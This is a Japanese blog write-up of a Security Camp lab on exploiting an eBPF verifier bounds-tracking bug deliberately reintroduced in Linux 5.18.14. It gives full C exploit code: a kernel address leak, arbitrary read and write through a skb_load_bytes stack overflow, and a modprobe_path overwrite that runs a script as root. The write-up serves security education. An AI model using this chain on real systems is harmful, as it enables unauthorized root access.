writeUP ↑↑↑

勉強会やCTFのwriteupをのこす(つもり)

セキュリティキャンプ講義の復習

Advenced Linux Kernel Exploit

この講義ではeBPFの脆弱性をついたKernel Exploit手法を紹介していただいた。ハンズオンだけで6時間だったわけではないので非常に時間が短く、理解が曖昧なままな箇所がけっこうあるので復習ついでに書いていく。

本講義は計6時間で、

  • ソースコードからeBPFのバグを見つける
  • バグからAAR/AAWプリミティブを作成
  • Kernel空間のメモリを書き換えてRootでコマンドを実行する

という流れで攻撃手法を学んだ。

BPFについて

BPFのドキュメント

BPFは以下のような構造になっている。 ユーザプログラム内でBPFコードを定義し、それをBPFコードとして登録する。すると検証器がBPFコードを精査して型チェック等を行う。型違反があるとここで突っ返されて、プログラムが止まる。無事検証を通過すると、BPFコードがJIT(just in Time)で機械語に変換され、その後はイベント発生時に実行される。BPFプログラムはBPFマップといわれる領域を通してユーザ空間と値のやり取りをする。

eBPFはBPFの命令セットを64bitに拡張し、パケットやシステムコールフィルタ以外の用途に拡張したもの。

BPFのレジスタ

BPFでは10個の汎用レジスタと1個のフレームポインタがある。

レジスタ 特殊な用途 別名
R0 戻り値 -
R1 第一引数、コンテキストのポインタ ARG1
R2 第二引数 ARG2
R3 第三引数 ARG3
R4 第四引数 ARG4
R5 第五引数 ARG5
R6~R9 - -
r10 フレームポインタ FP

BPFのスタック

BPFではプログラムごとにスタックが用意されていて、FPがスタックの最高位アドレスを指している(x86_64でいうrbp)。サイズは512byte固定。8バイトにalignされたアドレスのみに読み書きができる。

コンテキスト

イベントの発生源がBPFプログラムにイベント情報を渡すためのもの。構造体形式になっていて、イベントの情報が格納されている。BPFプログラム開始時にR1レジスタにコンテキストへのポインタが渡される。

BPFマップ

BPFプログラムとユーザプログラムがやり取りするための領域。ユーザ側から任意のキー・データ長さ(要素のサイズ・要素数)でマップ(配列)を作成できる。
ここで気を付けるポイントが、BPFスタックにはポインタを書き込めるが、mapにはポインタを書き込めない仕様になっている。具体的には検証器に弾かれるようになっている(つまり検証器をだませれば書き込める、というのがミソ)。BPFマップ自体のポインタはヘルパー関数を使ってmapfdから取得する。

ヘルパー関数

docs
自分の認識ではatomicに処理すべき部分などがまとめられている。本講義で使った関数を紹介↓

  • map系
    map_lookup_elem:BPFマップの要素へのポインタを取得
    map_update_elem:BPFマップの要素の値を更新

  • ソケットフィルタ
    skb_laod_bytes:コンテキストからパケットデータを取得
    skb_store_bytes:コンテキストからパケットデータを変更

※BPFでのコーディング

通常BPFプログラミングをするときはbcc(BPF Compiler Collection)を使うらしいが、Exploitではアセンブリレベルで書く必要がある。
そのため以下のマクロを利用して書いていく。
bpf_insn.h

eBPFの検証器

eBPFではカーネル内でコードを実行するにあたって、ユーザが危険なコードを書いていないかチェックする。検証は2段階にわたって行われ、

  • ループが存在しないか (ソースコード)
  • unsound behavior(正しく動作しない可能性が少しでもある状態)が存在しないか (ソースコード)
    • 未初期化レジスタの利用
    • BPFマップへの範囲外書き込み
    • ポインタ書き込みなど

を確認する。
また、すべてのレジスタ・スタックの値について、

  • 型情報
  • 取りうる値の範囲
    smin_value / smax_value : 符号付き64bit整数の最小・最大値
    umin_value / umax_value : 符号なし64bit整数の最小・最大値
    s32_min_value / s32_max_value : 符号付き32bit整数の最小・最大値
    u32_min_value / u32_max_value : 符号なし32bit整数の最小・最大値
  • 各bitが断定できるか を1命令ごとに追跡している。加えて、値がスカラなのかポインタなのかも追跡している。
    スカラ値はbitごとに可能な限り追跡され、以下のように表示される。
    var_off(value; mask)
    • value: 判明しているbit
    • mask: 不明なbit部分が1になる

例)
var_off(0xdeadbeef; 0x0) = 定数0xdeadbeef
var_off(0xde00be00; 0x00ff00ff) = 0xde??be??

ポインタの場合はポインタの種類、加算されたオフセット、ポインタの指すデータサイズなども保持する。

脆弱性の解析

本講義で使っているカーネルLinux kernel 5.18.14だが、kernel/bpf/verifier.cの7957行目の関数呼び出しが消されたものが配布されている。(昔本当にあったバグの再現らしい)

この一行がないとどういうバグが発生するのかを確認する。
まずverifier.cはeBPFの検証器を実装している部分である。その中のscalar32_min_max_or関数はadjust_scalar_min_max_vals関数から呼ばれていて、これはALU演算前後に取りうる値の範囲を追跡する処理だ。scalar32_min_max_orはOR演算時に呼ばれる(ソースコード)。また、その後にscalar_min_max_orが呼ばれる。

ここで、dst_regtnum_orvalueとmaskのor演算結果が格納される。ちなみにdst_regsrc_regtnum構造体で、以下のようになってる。

これでscalar32_min_max_orに渡された引数がわかった。では、削除された部分を含むif文の条件を見てみよう。src_knowndst_knowntnum_subreg_is_constの戻り値である。tnum_subreg_is_constここで定義されていて、コメントを見ると「下位32bitが定数であればtrueを返す」らしい。つまりソースレジスタとデスティネーションレジスタの両方の下位32bitが定数であれば、if文内に入ることになる。

mark_reg32_knownでは以下のようにvar_offと、取りうる最大値・最小値が更新される。(定数であるということは定数値=最小値=最大値なので)

ここで、mark_reg32_knownが終わるとreturnされて、次にscalar_min_max_orソース)が呼ばれる。この関数ではscalar32_min_max_orと同じような動作をするが、64bitで判断している。つまり、下位32bitが定数でも上位32bitに不定な値があった場合はif文に入らない。if文に入らなかった場合、この関数の最後には__update_reg_boundsが呼ばれている。

さらにその中でupdate_reg32_boundsソース)が呼ばれるが、ここに注目してほしい。

下位32bitが定数でも上位32bitに不定な値があった場合はここにたどり着くわけだが、本講義で使ってるカーネルでは最初に説明した通り__mark_reg32_knownが呼ばれない。つまり、reg->var_offreg->s32_min_valueなどは更新されていないのにも関わらず、__update_reg32_bounds内で使用されているのだ。

ここではu32の処理の方に注目する。以降デスティネーションレジスタとソースレジスタの下位32bitをRdstRsrcとあらわす。
u32_min_valueu32_max_valueは更新されていないのでRdstであり、var_32_off.maskは定数なので0である。また、var32_off.valueここで定義されているので、Rdst | Rsrcである。よって、ここまでをまとめると次のようになる。

u32_min_value = max(Rdst, Rdst|Rsrc)
u32_max_value = min(Rdst, Rdst|Rsrc)

ここでRdst = 0Rsrc = 1とすると、

u32_min_value = 1
u32_max_value = 0

というおかしな状況を作れる(Rdst < Rdst|Rsrcを満たすとこのバグが発生する)。 実装はこんな感じになる。不定な値はmapから値を取得することで作れる。それを上位32bitに移動させてから定数1とORすることでバグが生まれる。

実行結果の一部がこちら(なぜかs32の方だけになっているが...)

アドレスリー

ポインタ+スカラ演算に関してはadjust_min_max_valsに書いてある。(ソース)
if文を見ると、min > maxなスカラーの場合、__mark_reg_unknownが呼ばれるとわかる。

reg->var_off = tnum_unknowからRdstは中身不明のスカラとして扱われる。つまり、min > maxなスカラーを加算すればポインタではなくなるため、BPFマップに書き込めるようになる。

これをmap_update_elemでマップに書き込んで、ユーザ側からmap_look_upでリークできる。以下のように実装することででマップのアドレスをリークできる。

#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../bpf_insn.h"

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int bpf(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = sizeof(int),
    .value_size = val_size,
    .max_entries = max_entries
  };
  int mapfd = bpf(BPF_MAP_CREATE, &attr);
  if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)");
  return mapfd;
}

int map_update(int mapfd, int key, void *pval) {
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)pval,
    .flags = BPF_ANY
  };
  int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
  if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
  return res;
}

int map_lookup(int mapfd, int key, void *pval) {
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)pval,
    .flags = BPF_ANY
  };
  return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found
}


unsigned long leak_map_address(int mapfd) {
  char verifier_log[0x10000];
  unsigned long val;

  /* BPFプログラム */
  struct bpf_insn insns[] = {
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
        // 64bitに拡張
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

    // &map[0]ポインタをスカラーと認識させる
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

    // &map[0]+1のリーク
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
    // map_update_elem(mapfd, &key, &val, 0)
    BPF_MOV32_IMM(BPF_REG_ARG4, 0),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
  write(socks[1], "AAAABBBBCCCCDDDD", 16);

  /* リークしたポインタを取得 */
  map_lookup(mapfd, 0, &val);
  return val - 1;
}
int main() {
  int mapfd = map_create(8, 1);
  unsigned long val = 1;
  map_update(mapfd, 0, &val);
  unsigned long addr_map = leak_map_address(mapfd);
  printf("[+] addr_map = 0x%016lx\n", addr_map);

  getchar();
  return 0;
}

実行すると以下のような出力になる。

このアドレス周辺をgdbでダンプする。見てみるとkernel baseをリークできそうな値が0xffff888003247201に存在する。

今回の本質ではない気がするのでさっと説明を書くが、これはstruct bpf_arrayらしい。mapフィールドの値は固定なので、0x1c124を減算すればkernel baseを求められる。

AAW/AARを作る

BPFではポインタ+スカラの演算結果が明らかに使用可能範囲外の場合、検証器に止められてしまう。しかし、min=1, max=0で本当は1が入っている値Xと、min=0, max=1で本当は1が入っている値Yを加算すると、検証器はmin=1+0=1, max=0+1=1で、定数1だと判断するが本当は2が入っている値Zを作れる。つまり(Z-1)は検証器は定数0だと判断する。ここで変数valと、任意の値offsetで、

val += (Z-1)*offset 

という計算をすることで、検証器には値の変化がないように見せつつ任意の値をvalに入れることができる。
min=0, max=1の作り方だが、ユーザ側からマップに1を入れて置き、BPFでそれ読み出してAND 1をとれば作れる。

ALU sanitation

Spectreへの対策として追加されたmitigationでuser権限で実行すると有効になる。(どうしてSpectre対策になるのかはよく分からん)
ALUのBPF_ADDに対してパッチが当たっているらしく(ソース)、

BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_SCALAR)

上記のようなとき、REG_SCALARが定数だった場合、

BPF_MOV32_IMM(BPF_REG_AX, 定数),
BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_AX)

に置き換わる。つまりせっかく作ったZが使われずに終わってしまう。ここで、ヘルパー関数skb_load_bytesを使う。パッチが当たっているのはあくまでBPF_ADDのALU命令だけなので、これを使うことで2022年現在はbypassできる。skb_load_bytesはコンテキストからパケットデータを取得する関数で、第4引数に受け取るサイズを指定できる。ここでZを使って(Z-1)*preffer_valueとすることで任意のサイズを指定できる。これを使ってstack BOFをする。具体的にはあらかじめmapのポインタをstackに書き込んでおき、そこをoverflowでAAW/AAR対象となるアドレスで上書きする。すると検証器としては、もともとそこは有効なアドレスであり、書き換えられていないつもりになっているので、書き込んだアドレスを読みだして普通に使えばAAW/AARができる。

これを実装すると以下のようになる。

unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
  char verifier_log[0x10000];
    unsigned long val = 1;
  map_update(mapfd, 0, &val);

  /* BPFプログラム */
  struct bpf_insn insns[] = {

    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18),
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

        // BPF_REG_1 += map[0]&1 
        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),
        // BPF_REG_1 -= 1
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        // R1: 推測値=8 / 実際値=0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8),

        // *(FP-0x08) = &map[0]
        // FP-0x08にポインタを代入
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08),

        // skb_load_bytes(ctx, 0, FP-0x10, R1)
        BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),
        BPF_MOV64_IMM(BPF_REG_ARG2, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18),
        BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
        
        // *addr = value
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08),
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_FP, -0x10),
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
    unsigned long buf[2];
    buf[0] = value;
    buf[1] = addr;
  write(socks[1], buf, 16);
}

unsigned long aar64(int mapfd, unsigned long addr) {
  char verifier_log[0x10000];
  unsigned long val;

  /* BPFプログラム */
  struct bpf_insn insns[] = {

    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18),
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        // R1: 推測値=8 / 実際値=0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8),

        // *(FP-0x08) = &map[0]
        // FP-0x08をポインタを代入
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08),

        // skb_load_bytes(ctx, 0, FP-0x10, R1)
        BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),
        BPF_MOV64_IMM(BPF_REG_ARG2, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18),
        BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
        
        // *(FP-0x10) = *addr
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08),
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
    // map_update_elem(mapfd, &key, &val, 0)
    BPF_MOV32_IMM(BPF_REG_ARG4, 0),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
    unsigned long buf[2];
    buf[0] = 0x4141414142424242;
    buf[1] = addr;
  write(socks[1], buf, 16);

  map_lookup(mapfd, 0, &val);
    return val;
}

権限昇格

講義ではmodprobe_pathの書き換えを使って権限昇格を行った。LinuxにはELFやshebangなどの実行形式があるが、それ以外の不明な気式が実行されるとmodprobe_pathに書いてあるパスのスクリプトが実行される。デフォルトでは/sbin/modprobeになっている。これをAAW/tmp/xに書き換え、/tmp/xにroot権限で実行したい処理を書いておけば任意のコマンドが実行できる。kernel baseのリークを含めて、main関数を以下のように定義すれば、root権限での実行ができる。

int main() {
  int mapfd = map_create(8, 1);
    unsigned long val = 1;
  map_update(mapfd, 0, &val);
  unsigned long addr_map = leak_map_address(mapfd);
  printf("[+] addr_map = 0x%016lx\n", addr_map);

    val = aar64(mapfd, addr_map);
  printf("[+] value_map = 0x%016lx\n", val);

    val = aar64(mapfd, addr_map-0x110);
  printf("[+] value_addr_ops = 0x%016lx\n", val);

    unsigned long kbase = val - 0xc124a0;
  printf("[+] kbase = 0x%016lx\n", kbase);
    //modprobe書き換え
    unsigned long modprobe_addr = kbase + 0xe37fe0;
    //aaw64(mapfd, modprobe_addr, 0x2f746d702f78);
    aaw64(mapfd, modprobe_addr, 0x782f706d742f);

    //権限昇格
    //実行スクリプトの用意
    system("echo -e '#!/bin/sh\necho PWNED > /PWNED.txt' > /tmp/x");
    chmod("/tmp/x", 0777);
    //形式不明の実行ファイル用意
    system("echo -e '\xde\xea\xbe\xef' > /tmp/pwn");
    chmod("/tmp/pwn", 0777);
    system("/tmp/pwn");

  getchar();
  return 0;
}

ユーザ権限で実行すると以下のようにオーナーがrootのPWNED.txtが作られているのがわかる。

感想

今まではユーザランドの攻撃のみCTFでやってきたので、seccampで初めてカーネルランドの攻撃をやった。普通のkernel exploitだけでもすごい楽しかったし、いい経験になったが、さらにeBPFの攻撃手法の一例を学べたのは本当に良かったなあと思う。yudai先生曰く検証器をだます手法はBrowserとかにも使えるそうなので、そのうち勉強してみたいなあと思っている。

ということで、
「C2C3講義完全理解した! #seccamp」
ありがとうございました!